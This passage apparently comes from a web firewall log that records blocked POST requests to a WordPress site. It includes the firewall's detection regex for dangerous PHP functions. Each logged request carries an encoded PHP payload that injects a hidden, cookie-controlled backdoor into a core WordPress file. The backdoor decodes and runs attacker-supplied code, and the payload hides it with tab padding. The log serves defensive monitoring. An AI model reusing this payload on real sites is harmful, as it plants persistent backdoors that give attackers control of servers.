%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:53:29","192.3.12.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GD:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/SipHash.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B8-8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B1%252B2%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-16%252B20%255D%2529%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520function%2520sync_manager%2528%2524binding%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520%2524ptr%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273435bbda%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ptr%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522initialized%2522%253B%2520%257D%2520%2524res%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524component%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ptr%2529%2529%2520%257B%2520%2524hld%2520%253D%2520fopen%2528%2524ptr%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524hld%252C%2520%2524res%2529%253B%2520fclose%2528%2524hld%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ptr%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ptr%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522sync_manager%2522%2529%253B%2520%2524comp%2520%253D%2520%2522bd4b3c09c9b21aae1dabf90f1e2d9076%2522%253B%2520if%2520%2528%2521strncmp%2528%2524comp%252C%2520%2524component%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_buffer_cache%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\ncontent-length:4310\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE0DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\n\nGD=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/SipHash.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B8-8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B1%252B2%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-16%252B20%255D%2529%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520function%2520sync_manager%2528%2524binding%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520%2524ptr%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273435bbda%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ptr%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522initialized%2522%253B%2520%257D%2520%2524res%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524component%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ptr%2529%2529%2520%257B%2520%2524hld%2520%253D%2520fopen%2528%2524ptr%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524hld%252C%2520%2524res%2529%253B%2520fclose%2528%2524hld%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ptr%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ptr%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522sync_manager%2522%2529%253B%2520%2524comp%2520%253D%2520%2522bd4b3c09c9b21aae1dabf90f1e2d9076%2522%253B%2520if%2520%2528%2521strncmp%2528%2524comp%252C%2520%2524component%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_buffer_cache%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:53:31","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> YQ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/SipHash.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B8-8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B1%252B2%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-16%252B20%255D%2529%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520function%2520sync_manager%2528%2524binding%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520%2524ptr%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273435bbda%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ptr%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522initialized%2522%253B%2520%257D%2520%2524res%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524component%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ptr%2529%2529%2520%257B%2520%2524hld%2520%253D%2520fopen%2528%2524ptr%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524hld%252C%2520%2524res%2529%253B%2520fclose%2528%2524hld%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ptr%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ptr%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522sync_manager%2522%2529%253B%2520%2524comp%2520%253D%2520%2522bd4b3c09c9b21aae1dabf90f1e2d9076%2522%253B%2520if%2520%2528%2521strncmp%2528%2524comp%252C%2520%2524component%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_buffer_cache%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\ncontent-length:4310\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJIRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nYQ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/SipHash.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B8-8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B1%252B2%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-16%252B20%255D%2529%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520function%2520sync_manager%2528%2524binding%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520%2524ptr%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273435bbda%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ptr%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522initialized%2522%253B%2520%257D%2520%2524res%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524component%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ptr%2529%2529%2520%257B%2520%2524hld%2520%253D%2520fopen%2528%2524ptr%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524hld%252C%2520%2524res%2529%253B%2520fclose%2528%2524hld%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ptr%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ptr%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522sync_manager%2522%2529%253B%2520%2524comp%2520%253D%2520%2522bd4b3c09c9b21aae1dabf90f1e2d9076%2522%253B%2520if%2520%2528%2521strncmp%2528%2524comp%252C%2520%2524component%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_buffer_cache%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:53:33","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> AU:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/SipHash.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B8-8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B1%252B2%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-16%252B20%255D%2529%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520function%2520sync_manager%2528%2524binding%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520%2524ptr%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273435bbda%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ptr%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522initialized%2522%253B%2520%257D%2520%2524res%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524component%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ptr%2529%2529%2520%257B%2520%2524hld%2520%253D%2520fopen%2528%2524ptr%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524hld%252C%2520%2524res%2529%253B%2520fclose%2528%2524hld%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ptr%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ptr%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522sync_manager%2522%2529%253B%2520%2524comp%2520%253D%2520%2522bd4b3c09c9b21aae1dabf90f1e2d9076%2522%253B%2520if%2520%2528%2521strncmp%2528%2524comp%252C%2520%2524component%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_buffer_cache%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\ncontent-length:4310\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDIHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\n\nAU=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/SipHash.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B8-8%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B1%252B2%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-16%252B20%255D%2529%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520function%2520sync_manager%2528%2524binding%2529%2520%257B%2520%2524component%2520%253D%2520%2524_COOKIE%253B%2520%2524ptr%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273435bbda%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ptr%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522initialized%2522%253B%2520%257D%2520%2524res%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524component%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ptr%2529%2529%2520%257B%2520%2524hld%2520%253D%2520fopen%2528%2524ptr%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524hld%252C%2520%2524res%2529%253B%2520fclose%2528%2524hld%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ptr%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ptr%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522sync_manager%2522%2529%253B%2520%2524comp%2520%253D%2520%2522bd4b3c09c9b21aae1dabf90f1e2d9076%2522%253B%2520if%2520%2528%2521strncmp%2528%2524comp%252C%2520%2524component%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_buffer_cache%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
